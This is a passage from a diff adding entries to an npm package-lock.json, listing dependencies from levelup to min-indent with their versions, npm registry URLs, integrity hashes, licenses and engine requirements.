19375+ "object-keys": "~0.4.0"
19376+ },
19377+ "engines": {
19378+ "node": ">=0.4"
19379+ }
19380+ },
19381+ "node_modules/levelup": {
19382+ "version": "1.3.9",
19383+ "resolved": "https://registry.npmjs.org/levelup/-/levelup-1.3.9.tgz",
19384+ "integrity": "sha512-VVGHfKIlmw8w1XqpGOAGwq6sZm2WwWLmlDcULkKWQXEA5EopA8OBNJ2Ck2v6bdk8HeEZSbCSEgzXadyQFm76sQ==",
19385+ "deprecated": "Superseded by abstract-level (https://github.com/Level/community#faq)",
19386+ "license": "MIT",
19387+ "dependencies": {
19388+ "deferred-leveldown": "~1.2.1",
19389+ "level-codec": "~7.0.0",
19390+ "level-errors": "~1.0.3",
19391+ "level-iterator-stream": "~1.3.0",
19392+ "prr": "~1.0.1",
19393+ "semver": "~5.4.1",
19394+ "xtend": "~4.0.0"
19395+ }
19396+ },
19397+ "node_modules/levelup/node_modules/semver": {
19398+ "version": "5.4.1",
19399+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.4.1.tgz",
19400+ "integrity": "sha512-WfG/X9+oATh81XtllIo/I8gOiY9EXRdv1cQdyykeXK17YcUW3EXUAi2To4pcH6nZtJPr7ZOpM5OMyWJZm+8Rsg==",
19401+ "license": "ISC",
19402+ "bin": {
19403+ "semver": "bin/semver"
19404+ }
19405+ },
19406+ "node_modules/leven": {
19407+ "version": "3.1.0",
19408+ "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
19409+ "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
19410+ "license": "MIT",
19411+ "engines": {
19412+ "node": ">=6"
19413+ }
19414+ },
19415+ "node_modules/levn": {
19416+ "version": "0.4.1",
19417+ "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
19418+ "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
19419+ "license": "MIT",
19420+ "dependencies": {
19421+ "prelude-ls": "^1.2.1",
19422+ "type-check": "~0.4.0"
19423+ },
19424+ "engines": {
19425+ "node": ">= 0.8.0"
19426+ }
19427+ },
19428+ "node_modules/lie": {
19429+ "version": "3.3.0",
19430+ "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
19431+ "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
19432+ "license": "MIT",
19433+ "dependencies": {
19434+ "immediate": "~3.0.5"
19435+ }
19436+ },
19437+ "node_modules/lilconfig": {
19438+ "version": "2.1.0",
19439+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
19440+ "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
19441+ "license": "MIT",
19442+ "engines": {
19443+ "node": ">=10"
19444+ }
19445+ },
19446+ "node_modules/lines-and-columns": {
19447+ "version": "1.2.4",
19448+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
19449+ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
19450+ "license": "MIT"
19451+ },
19452+ "node_modules/loader-runner": {
19453+ "version": "4.3.1",
19454+ "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.1.tgz",
19455+ "integrity": "sha512-IWqP2SCPhyVFTBtRcgMHdzlf9ul25NwaFx4wCEH/KjAXuuHY4yNjvPXsBokp8jCB936PyWRaPKUNh8NvylLp2Q==",
19456+ "license": "MIT",
19457+ "engines": {
19458+ "node": ">=6.11.5"
19459+ },
19460+ "funding": {
19461+ "type": "opencollective",
19462+ "url": "https://opencollective.com/webpack"
19463+ }
19464+ },
19465+ "node_modules/loader-utils": {
19466+ "version": "2.0.4",
19467+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz",
19468+ "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==",
19469+ "license": "MIT",
19470+ "dependencies": {
19471+ "big.js": "^5.2.2",
19472+ "emojis-list": "^3.0.0",
19473+ "json5": "^2.1.2"
19474+ },
19475+ "engines": {
19476+ "node": ">=8.9.0"
19477+ }
19478+ },
19479+ "node_modules/locate-path": {
19480+ "version": "5.0.0",
19481+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
19482+ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
19483+ "license": "MIT",
19484+ "dependencies": {
19485+ "p-locate": "^4.1.0"
19486+ },
19487+ "engines": {
19488+ "node": ">=8"
19489+ }
19490+ },
19491+ "node_modules/lodash": {
19492+ "version": "4.17.21",
19493+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
19494+ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
19495+ "license": "MIT"
19496+ },
19497+ "node_modules/lodash.debounce": {
19498+ "version": "4.0.8",
19499+ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
19500+ "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==",
19501+ "license": "MIT"
19502+ },
19503+ "node_modules/lodash.includes": {
19504+ "version": "4.3.0",
19505+ "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz",
19506+ "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==",
19507+ "license": "MIT"
19508+ },
19509+ "node_modules/lodash.isboolean": {
19510+ "version": "3.0.3",
19511+ "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
19512+ "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==",
19513+ "license": "MIT"
19514+ },
19515+ "node_modules/lodash.isinteger": {
19516+ "version": "4.0.4",
19517+ "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz",
19518+ "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==",
19519+ "license": "MIT"
19520+ },
19521+ "node_modules/lodash.isnumber": {
19522+ "version": "3.0.3",
19523+ "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz",
19524+ "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==",
19525+ "license": "MIT"
19526+ },
19527+ "node_modules/lodash.isplainobject": {
19528+ "version": "4.0.6",
19529+ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
19530+ "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
19531+ "license": "MIT"
19532+ },
19533+ "node_modules/lodash.isstring": {
19534+ "version": "4.0.1",
19535+ "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz",
19536+ "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==",
19537+ "license": "MIT"
19538+ },
19539+ "node_modules/lodash.memoize": {
19540+ "version": "4.1.2",
19541+ "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
19542+ "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==",
19543+ "license": "MIT"
19544+ },
19545+ "node_modules/lodash.merge": {
19546+ "version": "4.6.2",
19547+ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
19548+ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
19549+ "license": "MIT"
19550+ },
19551+ "node_modules/lodash.once": {
19552+ "version": "4.1.1",
19553+ "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz",
19554+ "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==",
19555+ "license": "MIT"
19556+ },
19557+ "node_modules/lodash.sortby": {
19558+ "version": "4.7.0",
19559+ "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
19560+ "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==",
19561+ "license": "MIT"
19562+ },
19563+ "node_modules/lodash.uniq": {
19564+ "version": "4.5.0",
19565+ "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
19566+ "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==",
19567+ "license": "MIT"
19568+ },
19569+ "node_modules/loose-envify": {
19570+ "version": "1.4.0",
19571+ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
19572+ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
19573+ "license": "MIT",
19574+ "dependencies": {
19575+ "js-tokens": "^3.0.0 || ^4.0.0"
19576+ },
19577+ "bin": {
19578+ "loose-envify": "cli.js"
19579+ }
19580+ },
19581+ "node_modules/lower-case": {
19582+ "version": "2.0.2",
19583+ "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
19584+ "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
19585+ "license": "MIT",
19586+ "dependencies": {
19587+ "tslib": "^2.0.3"
19588+ }
19589+ },
19590+ "node_modules/lower-case/node_modules/tslib": {
19591+ "version": "2.8.1",
19592+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
19593+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
19594+ "license": "0BSD"
19595+ },
19596+ "node_modules/lru-cache": {
19597+ "version": "5.1.1",
19598+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
19599+ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
19600+ "license": "ISC",
19601+ "dependencies": {
19602+ "yallist": "^3.0.2"
19603+ }
19604+ },
19605+ "node_modules/ltgt": {
19606+ "version": "2.2.1",
19607+ "resolved": "https://registry.npmjs.org/ltgt/-/ltgt-2.2.1.tgz",
19608+ "integrity": "sha512-AI2r85+4MquTw9ZYqabu4nMwy9Oftlfa/e/52t9IjtfG+mGBbTNdAoZ3RQKLHR6r0wQnwZnPIEh/Ya6XTWAKNA==",
19609+ "license": "MIT"
19610+ },
19611+ "node_modules/lz-string": {
19612+ "version": "1.5.0",
19613+ "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz",
19614+ "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==",
19615+ "license": "MIT",
19616+ "bin": {
19617+ "lz-string": "bin/bin.js"
19618+ }
19619+ },
19620+ "node_modules/maath": {
19621+ "version": "0.10.8",
19622+ "resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz",
19623+ "integrity": "sha512-tRvbDF0Pgqz+9XUa4jjfgAQ8/aPKmQdWXilFu2tMy4GWj4NOsx99HlULO4IeREfbO3a0sA145DZYyvXPkybm0g==",
19624+ "license": "MIT",
19625+ "peerDependencies": {
19626+ "@types/three": ">=0.134.0",
19627+ "three": ">=0.134.0"
19628+ }
19629+ },
19630+ "node_modules/magic-string": {
19631+ "version": "0.30.21",
19632+ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
19633+ "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==",
19634+ "license": "MIT",
19635+ "dependencies": {
19636+ "@jridgewell/sourcemap-codec": "^1.5.5"
19637+ }
19638+ },
19639+ "node_modules/make-dir": {
19640+ "version": "3.1.0",
19641+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
19642+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
19643+ "license": "MIT",
19644+ "dependencies": {
19645+ "semver": "^6.0.0"
19646+ },
19647+ "engines": {
19648+ "node": ">=8"
19649+ },
19650+ "funding": {
19651+ "url": "https://github.com/sponsors/sindresorhus"
19652+ }
19653+ },
19654+ "node_modules/make-dir/node_modules/semver": {
19655+ "version": "6.3.1",
19656+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
19657+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
19658+ "license": "ISC",
19659+ "bin": {
19660+ "semver": "bin/semver.js"
19661+ }
19662+ },
19663+ "node_modules/makeerror": {
19664+ "version": "1.0.12",
19665+ "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",
19666+ "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==",
19667+ "license": "BSD-3-Clause",
19668+ "dependencies": {
19669+ "tmpl": "1.0.5"
19670+ }
19671+ },
19672+ "node_modules/math-intrinsics": {
19673+ "version": "1.1.0",
19674+ "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
19675+ "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
19676+ "license": "MIT",
19677+ "engines": {
19678+ "node": ">= 0.4"
19679+ }
19680+ },
19681+ "node_modules/md5.js": {
19682+ "version": "1.3.5",
19683+ "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
19684+ "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==",
19685+ "license": "MIT",
19686+ "dependencies": {
19687+ "hash-base": "^3.0.0",
19688+ "inherits": "^2.0.1",
19689+ "safe-buffer": "^5.1.2"
19690+ }
19691+ },
19692+ "node_modules/mdn-data": {
19693+ "version": "2.0.4",
19694+ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz",
19695+ "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==",
19696+ "license": "CC0-1.0"
19697+ },
19698+ "node_modules/media-typer": {
19699+ "version": "0.3.0",
19700+ "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
19701+ "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
19702+ "license": "MIT",
19703+ "engines": {
19704+ "node": ">= 0.6"
19705+ }
19706+ },
19707+ "node_modules/memdown": {
19708+ "version": "1.4.1",
19709+ "resolved": "https://registry.npmjs.org/memdown/-/memdown-1.4.1.tgz",
19710+ "integrity": "sha512-iVrGHZB8i4OQfM155xx8akvG9FIj+ht14DX5CQkCTG4EHzZ3d3sgckIf/Lm9ivZalEsFuEVnWv2B2WZvbrro2w==",
19711+ "deprecated": "Superseded by memory-level (https://github.com/Level/community#faq)",
19712+ "license": "MIT",
19713+ "dependencies": {
19714+ "abstract-leveldown": "~2.7.1",
19715+ "functional-red-black-tree": "^1.0.1",
19716+ "immediate": "^3.2.3",
19717+ "inherits": "~2.0.1",
19718+ "ltgt": "~2.2.0",
19719+ "safe-buffer": "~5.1.1"
19720+ }
19721+ },
19722+ "node_modules/memdown/node_modules/abstract-leveldown": {
19723+ "version": "2.7.2",
19724+ "resolved": "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-2.7.2.tgz",
19725+ "integrity": "sha512-+OVvxH2rHVEhWLdbudP6p0+dNMXu8JA1CbhP19T8paTYAcX7oJ4OVjT+ZUVpv7mITxXHqDMej+GdqXBmXkw09w==",
19726+ "deprecated": "Superseded by abstract-level (https://github.com/Level/community#faq)",
19727+ "license": "MIT",
19728+ "dependencies": {
19729+ "xtend": "~4.0.0"
19730+ }
19731+ },
19732+ "node_modules/memdown/node_modules/immediate": {
19733+ "version": "3.3.0",
19734+ "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz",
19735+ "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==",
19736+ "license": "MIT"
19737+ },
19738+ "node_modules/memdown/node_modules/safe-buffer": {
19739+ "version": "5.1.2",
19740+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
19741+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
19742+ "license": "MIT"
19743+ },
19744+ "node_modules/memfs": {
19745+ "version": "3.5.3",
19746+ "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.5.3.tgz",
19747+ "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==",
19748+ "license": "Unlicense",
19749+ "dependencies": {
19750+ "fs-monkey": "^1.0.4"
19751+ },
19752+ "engines": {
19753+ "node": ">= 4.0.0"
19754+ }
19755+ },
19756+ "node_modules/memory-pager": {
19757+ "version": "1.5.0",
19758+ "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz",
19759+ "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==",
19760+ "license": "MIT"
19761+ },
19762+ "node_modules/merge-descriptors": {
19763+ "version": "1.0.3",
19764+ "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
19765+ "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
19766+ "license": "MIT",
19767+ "funding": {
19768+ "url": "https://github.com/sponsors/sindresorhus"
19769+ }
19770+ },
19771+ "node_modules/merge-stream": {
19772+ "version": "2.0.0",
19773+ "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
19774+ "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
19775+ "license": "MIT"
19776+ },
19777+ "node_modules/merge-value": {
19778+ "version": "1.0.0",
19779+ "resolved": "https://registry.npmjs.org/merge-value/-/merge-value-1.0.0.tgz",
19780+ "integrity": "sha512-fJMmvat4NeKz63Uv9iHWcPDjCWcCkoiRoajRTEO8hlhUC6rwaHg0QCF9hBOTjZmm4JuglPckPSTtcuJL5kp0TQ==",
19781+ "license": "MIT",
19782+ "dependencies": {
19783+ "get-value": "^2.0.6",
19784+ "is-extendable": "^1.0.0",
19785+ "mixin-deep": "^1.2.0",
19786+ "set-value": "^2.0.0"
19787+ },
19788+ "engines": {
19789+ "node": ">=0.10.0"
19790+ }
19791+ },
19792+ "node_modules/merge2": {
19793+ "version": "1.4.1",
19794+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
19795+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
19796+ "license": "MIT",
19797+ "engines": {
19798+ "node": ">= 8"
19799+ }
19800+ },
19801+ "node_modules/merkle-patricia-tree": {
19802+ "version": "2.3.2",
19803+ "resolved": "https://registry.npmjs.org/merkle-patricia-tree/-/merkle-patricia-tree-2.3.2.tgz",
19804+ "integrity": "sha512-81PW5m8oz/pz3GvsAwbauj7Y00rqm81Tzad77tHBwU7pIAtN+TJnMSOJhxBKflSVYhptMMb9RskhqHqrSm1V+g==",
19805+ "license": "MPL-2.0",
19806+ "dependencies": {
19807+ "async": "^1.4.2",
19808+ "ethereumjs-util": "^5.0.0",
19809+ "level-ws": "0.0.0",
19810+ "levelup": "^1.2.1",
19811+ "memdown": "^1.0.0",
19812+ "readable-stream": "^2.0.0",
19813+ "rlp": "^2.0.0",
19814+ "semaphore": ">=1.0.1"
19815+ }
19816+ },
19817+ "node_modules/merkle-patricia-tree/node_modules/async": {
19818+ "version": "1.5.2",
19819+ "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz",
19820+ "integrity": "sha512-nSVgobk4rv61R9PUSDtYt7mPVB2olxNR5RWJcAsH676/ef11bUZwvu7+RGYrYauVdDPcO519v68wRhXQtxsV9w==",
19821+ "license": "MIT"
19822+ },
19823+ "node_modules/meshline": {
19824+ "version": "3.3.1",
19825+ "resolved": "https://registry.npmjs.org/meshline/-/meshline-3.3.1.tgz",
19826+ "integrity": "sha512-/TQj+JdZkeSUOl5Mk2J7eLcYTLiQm2IDzmlSvYm7ov15anEcDJ92GHqqazxTSreeNgfnYu24kiEvvv0WlbCdFQ==",
19827+ "license": "MIT",
19828+ "peerDependencies": {
19829+ "three": ">=0.137"
19830+ }
19831+ },
19832+ "node_modules/meshoptimizer": {
19833+ "version": "0.22.0",
19834+ "resolved": "https://registry.npmjs.org/meshoptimizer/-/meshoptimizer-0.22.0.tgz",
19835+ "integrity": "sha512-IebiK79sqIy+E4EgOr+CAw+Ke8hAspXKzBd0JdgEmPHiAwmvEj2S4h1rfvo+o/BnfEYd/jAOg5IeeIjzlzSnDg==",
19836+ "license": "MIT"
19837+ },
19838+ "node_modules/methods": {
19839+ "version": "1.1.2",
19840+ "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
19841+ "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
19842+ "license": "MIT",
19843+ "engines": {
19844+ "node": ">= 0.6"
19845+ }
19846+ },
19847+ "node_modules/micromatch": {
19848+ "version": "4.0.8",
19849+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
19850+ "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
19851+ "license": "MIT",
19852+ "dependencies": {
19853+ "braces": "^3.0.3",
19854+ "picomatch": "^2.3.1"
19855+ },
19856+ "engines": {
19857+ "node": ">=8.6"
19858+ }
19859+ },
19860+ "node_modules/micromatch/node_modules/picomatch": {
19861+ "version": "2.3.1",
19862+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
19863+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
19864+ "license": "MIT",
19865+ "engines": {
19866+ "node": ">=8.6"
19867+ },
19868+ "funding": {
19869+ "url": "https://github.com/sponsors/jonschlinkert"
19870+ }
19871+ },
19872+ "node_modules/miller-rabin": {
19873+ "version": "4.0.1",
19874+ "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.1.tgz",
19875+ "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==",
19876+ "license": "MIT",
19877+ "dependencies": {
19878+ "bn.js": "^4.0.0",
19879+ "brorand": "^1.0.1"
19880+ },
19881+ "bin": {
19882+ "miller-rabin": "bin/miller-rabin"
19883+ }
19884+ },
19885+ "node_modules/mime": {
19886+ "version": "1.6.0",
19887+ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
19888+ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
19889+ "license": "MIT",
19890+ "bin": {
19891+ "mime": "cli.js"
19892+ },
19893+ "engines": {
19894+ "node": ">=4"
19895+ }
19896+ },
19897+ "node_modules/mime-db": {
19898+ "version": "1.52.0",
19899+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
19900+ "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
19901+ "license": "MIT",
19902+ "engines": {
19903+ "node": ">= 0.6"
19904+ }
19905+ },
19906+ "node_modules/mime-types": {
19907+ "version": "2.1.35",
19908+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
19909+ "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
19910+ "license": "MIT",
19911+ "dependencies": {
19912+ "mime-db": "1.52.0"
19913+ },
19914+ "engines": {
19915+ "node": ">= 0.6"
19916+ }
19917+ },
19918+ "node_modules/mimic-fn": {
19919+ "version": "2.1.0",
19920+ "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
19921+ "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
19922+ "license": "MIT",
19923+ "engines": {
19924+ "node": ">=6"
19925+ }
19926+ },
19927+ "node_modules/min-document": {
19928+ "version": "2.19.2",
19929+ "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.2.tgz",
19930+ "integrity": "sha512-8S5I8db/uZN8r9HSLFVWPdJCvYOejMcEC82VIzNUc6Zkklf/d1gg2psfE79/vyhWOj4+J8MtwmoOz3TmvaGu5A==",
19931+ "license": "MIT",
19932+ "dependencies": {
19933+ "dom-walk": "^0.1.0"
19934+ }
19935+ },
19936+ "node_modules/min-indent": {
19937+ "version": "1.0.1",
19938+ "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
19939+ "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
19940+ "license": "MIT",
19941+ "engines": {
19942+ "node": ">=4"
19943+ }
19944+ },
19945+ "node_modules/mini-css-extract-plugin": {
